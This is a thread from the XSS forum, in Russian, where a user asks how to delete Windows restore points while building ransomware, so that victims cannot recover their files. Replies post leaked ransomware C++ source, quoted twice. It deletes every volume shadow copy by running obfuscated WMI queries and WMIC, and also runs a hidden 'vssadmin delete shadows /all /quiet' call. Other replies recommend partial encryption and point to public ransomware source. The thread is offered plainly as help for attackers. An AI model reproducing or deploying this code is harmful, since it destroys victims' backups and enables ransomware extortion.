• XSS.stack #1 – первый литературный журнал от юзеров форума

Удалить точку восстановления windows

У кого был опыт создания ransomware, подскажите пж как удалить точку восстановления чтобы юзер не смог восстановить файлы
Не лучшее решение! Уж лучше шифровать чем удалять.
 
Не лучшее решение! Уж лучше шифровать чем удалять.
И не полностью, а частями )
 
Наткнулся сегодня на твит - тыц
Не знаю правда на сколько это ралистично успеть зашифровать все файлы + все копии к ним
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У кого был опыт создания ransomware, подскажите пж как удалить точку восстановления чтобы юзер не смог восстановить файлы
Тебе в принципе уже дал ссылку хранитель. Но почему тебе просто не посмотреть исходники слитые?


C++:
BOOL
locker::DeleteShadowCopies()
{

    HRESULT hres;

    // Step 1: --------------------------------------------------
    // Initialize COM. ------------------------------------------

    hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        return FALSE;                  // Program has failed.
    }

    // Step 2: --------------------------------------------------
    // Set general COM security levels --------------------------

    hres = (HRESULT)pCoInitializeSecurity(
        NULL,
        -1,                          // COM authentication
        NULL,                        // Authentication services
        NULL,                        // Reserved
        RPC_C_AUTHN_LEVEL_DEFAULT,   // Default authentication
        RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation 
        NULL,                        // Authentication info
        EOAC_NONE,                   // Additional capabilities
        NULL                         // Reserved
    );



    if (FAILED(hres))
    {
        pCoUninitialize();
        return FALSE;                    // Program has failed.
    }

    // Step 3: ---------------------------------------------------
    // Obtain the initial locator to WMI -------------------------

    IWbemLocator* pLoc = NULL;
    hres = (HRESULT)pCoCreateInstance(
        CLSID_WbemLocator,
        0,
        CLSCTX_INPROC_SERVER,
        IID_IWbemLocator, (LPVOID*)&pLoc);

    IWbemContext* pContext = NULL;
    SYSTEM_INFO SysInfo;
    pGetNativeSystemInfo(&SysInfo);

    if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {

        hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
        if (FAILED(hres))
        {
            pCoUninitialize();
            return FALSE;
        }

        BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));

        VARIANT vArchitecture;
        pVariantInit(&vArchitecture);
        V_VT(&vArchitecture) = VT_I4;
        V_INT(&vArchitecture) = 64;
        hres = pContext->SetValue(Arch, 0, &vArchitecture);
        pVariantClear(&vArchitecture);

        if (FAILED(hres))
        {
            pCoUninitialize();
            return FALSE;                 // Program has failed.
        }

    }

    // Step 4: -----------------------------------------------------
    // Connect to WMI through the IWbemLocator::ConnectServer method

    IWbemServices* pSvc = NULL;

    // Connect to the root\cimv2 namespace with
    // the current user and obtain pointer pSvc
    // to make IWbemServices calls.
    BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));

    hres = pLoc->ConnectServer(
        Path, // Object path of WMI namespace
        NULL,                    // User name. NULL = current user
        NULL,                    // User password. NULL = current
        0,                       // Locale. NULL indicates current
        NULL,                    // Security flags.
        0,                       // Authority (for example, Kerberos)
        pContext,                       // Context object
        &pSvc                    // pointer to IWbemServices proxy
    );

    if (FAILED(hres))
    {

        pLoc->Release();
        pCoUninitialize();
        return FALSE;                // Program has failed.
    }

    // Step 5: --------------------------------------------------
    // Set security levels on the proxy -------------------------

    hres = (HRESULT)pCoSetProxyBlanket(
        pSvc,                        // Indicates the proxy to set
        RPC_C_AUTHN_WINNT,           // RPC_C_AUTHN_xxx
        RPC_C_AUTHZ_NONE,            // RPC_C_AUTHZ_xxx
        NULL,                        // Server principal name
        RPC_C_AUTHN_LEVEL_CALL,      // RPC_C_AUTHN_LEVEL_xxx
        RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
        NULL,                        // client identity
        EOAC_NONE                    // proxy capabilities
    );

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        pCoUninitialize();
        return FALSE;               // Program has failed.
    }

    // Step 6: --------------------------------------------------
    // Use the IWbemServices pointer to make requests of WMI ----

    // For example, get the name of the operating system
    BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
    BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));

    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(
        WqlStr,
        Query,
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
        NULL,
        &pEnumerator);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        pCoUninitialize();
        return 1;               // Program has failed.
    }

    // Step 7: -------------------------------------------------
    // Get the data from the query in step 6 -------------------

    IWbemClassObject* pclsObj = NULL;
    ULONG uReturn = 0;

    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
            &pclsObj, &uReturn);

        if (0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;

        // Get the value of the Name property
        hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);

        WCHAR CmdLine[1024];
        RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
        wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);

        LPVOID Old;
        pWow64DisableWow64FsRedirection(&Old);
        CmdExecW(CmdLine);
        pWow64RevertWow64FsRedirection(Old);

        pVariantClear(&vtProp);
        pclsObj->Release();
    }

    // Cleanup
    // ========
    if (pContext) {
        pContext->Release();
    }
    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    pCoUninitialize();
    return TRUE;
}

C++:
void _remove_shadows() {
  PVOID oldValue = 0;

  if (IsWow64()) {
    typedef BOOL(WINAPI* fnc)(PVOID*);
    HMODULE lib = LoadLibraryA("kernel32.dll");
    FARPROC addr = GetProcAddress(lib, "Wow64DisableWow64FsRedirection");
    if (addr) ((fnc)addr)(&oldValue);
  }

  ShellExecuteW(0, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE);

  if (IsWow64()) {
    typedef BOOL(WINAPI* fnc)(PVOID);
    HMODULE lib = LoadLibraryA("kernel32.dll");
    FARPROC addr = GetProcAddress(lib, "Wow64RevertWow64FsRedirection");
    if (addr) ((fnc)addr)(oldValue);
  }
}
 
Тебе в принципе уже дал ссылку хранитель. Но почему тебе просто не посмотреть исходники слитые?


C++:
BOOL
locker::DeleteShadowCopies()
{

    HRESULT hres;

    // Step 1: --------------------------------------------------
    // Initialize COM. ------------------------------------------

    hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres))
    {
        return FALSE;                  // Program has failed.
    }

    // Step 2: --------------------------------------------------
    // Set general COM security levels --------------------------

    hres = (HRESULT)pCoInitializeSecurity(
        NULL,
        -1,                          // COM authentication
        NULL,                        // Authentication services
        NULL,                        // Reserved
        RPC_C_AUTHN_LEVEL_DEFAULT,   // Default authentication
        RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
        NULL,                        // Authentication info
        EOAC_NONE,                   // Additional capabilities
        NULL                         // Reserved
    );



    if (FAILED(hres))
    {
        pCoUninitialize();
        return FALSE;                    // Program has failed.
    }

    // Step 3: ---------------------------------------------------
    // Obtain the initial locator to WMI -------------------------

    IWbemLocator* pLoc = NULL;
    hres = (HRESULT)pCoCreateInstance(
        CLSID_WbemLocator,
        0,
        CLSCTX_INPROC_SERVER,
        IID_IWbemLocator, (LPVOID*)&pLoc);

    IWbemContext* pContext = NULL;
    SYSTEM_INFO SysInfo;
    pGetNativeSystemInfo(&SysInfo);

    if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {

        hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
        if (FAILED(hres))
        {
            pCoUninitialize();
            return FALSE;
        }

        BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));

        VARIANT vArchitecture;
        pVariantInit(&vArchitecture);
        V_VT(&vArchitecture) = VT_I4;
        V_INT(&vArchitecture) = 64;
        hres = pContext->SetValue(Arch, 0, &vArchitecture);
        pVariantClear(&vArchitecture);

        if (FAILED(hres))
        {
            pCoUninitialize();
            return FALSE;                 // Program has failed.
        }

    }

    // Step 4: -----------------------------------------------------
    // Connect to WMI through the IWbemLocator::ConnectServer method

    IWbemServices* pSvc = NULL;

    // Connect to the root\cimv2 namespace with
    // the current user and obtain pointer pSvc
    // to make IWbemServices calls.
    BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));

    hres = pLoc->ConnectServer(
        Path, // Object path of WMI namespace
        NULL,                    // User name. NULL = current user
        NULL,                    // User password. NULL = current
        0,                       // Locale. NULL indicates current
        NULL,                    // Security flags.
        0,                       // Authority (for example, Kerberos)
        pContext,                       // Context object
        &pSvc                    // pointer to IWbemServices proxy
    );

    if (FAILED(hres))
    {

        pLoc->Release();
        pCoUninitialize();
        return FALSE;                // Program has failed.
    }

    // Step 5: --------------------------------------------------
    // Set security levels on the proxy -------------------------

    hres = (HRESULT)pCoSetProxyBlanket(
        pSvc,                        // Indicates the proxy to set
        RPC_C_AUTHN_WINNT,           // RPC_C_AUTHN_xxx
        RPC_C_AUTHZ_NONE,            // RPC_C_AUTHZ_xxx
        NULL,                        // Server principal name
        RPC_C_AUTHN_LEVEL_CALL,      // RPC_C_AUTHN_LEVEL_xxx
        RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
        NULL,                        // client identity
        EOAC_NONE                    // proxy capabilities
    );

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        pCoUninitialize();
        return FALSE;               // Program has failed.
    }

    // Step 6: --------------------------------------------------
    // Use the IWbemServices pointer to make requests of WMI ----

    // For example, get the name of the operating system
    BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
    BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));

    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(
        WqlStr,
        Query,
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
        NULL,
        &pEnumerator);

    if (FAILED(hres))
    {
        pSvc->Release();
        pLoc->Release();
        pCoUninitialize();
        return 1;               // Program has failed.
    }

    // Step 7: -------------------------------------------------
    // Get the data from the query in step 6 -------------------

    IWbemClassObject* pclsObj = NULL;
    ULONG uReturn = 0;

    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
            &pclsObj, &uReturn);

        if (0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;

        // Get the value of the Name property
        hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);

        WCHAR CmdLine[1024];
        RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
        wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);

        LPVOID Old;
        pWow64DisableWow64FsRedirection(&Old);
        CmdExecW(CmdLine);
        pWow64RevertWow64FsRedirection(Old);

        pVariantClear(&vtProp);
        pclsObj->Release();
    }

    // Cleanup
    // ========
    if (pContext) {
        pContext->Release();
    }
    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    pCoUninitialize();
    return TRUE;
}

C++:
void _remove_shadows() {
  PVOID oldValue = 0;

  if (IsWow64()) {
    typedef BOOL(WINAPI* fnc)(PVOID*);
    HMODULE lib = LoadLibraryA("kernel32.dll");
    FARPROC addr = GetProcAddress(lib, "Wow64DisableWow64FsRedirection");
    if (addr) ((fnc)addr)(&oldValue);
  }

  ShellExecuteW(0, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE);

  if (IsWow64()) {
    typedef BOOL(WINAPI* fnc)(PVOID);
    HMODULE lib = LoadLibraryA("kernel32.dll");
    FARPROC addr = GetProcAddress(lib, "Wow64RevertWow64FsRedirection");
    if (addr) ((fnc)addr)(oldValue);
  }
}
Подскажи пожалуйста где берешь исходники эти?
Или просто гитхаб копать нужно?
Если можешь прикрепи линки
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажи пожалуйста где берешь исходники эти?
Или просто гитхаб копать нужно?
Если можешь прикрепи линки
Да просто в гугл вбей "ransomware github" и найдешь все исходники и все поделки...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх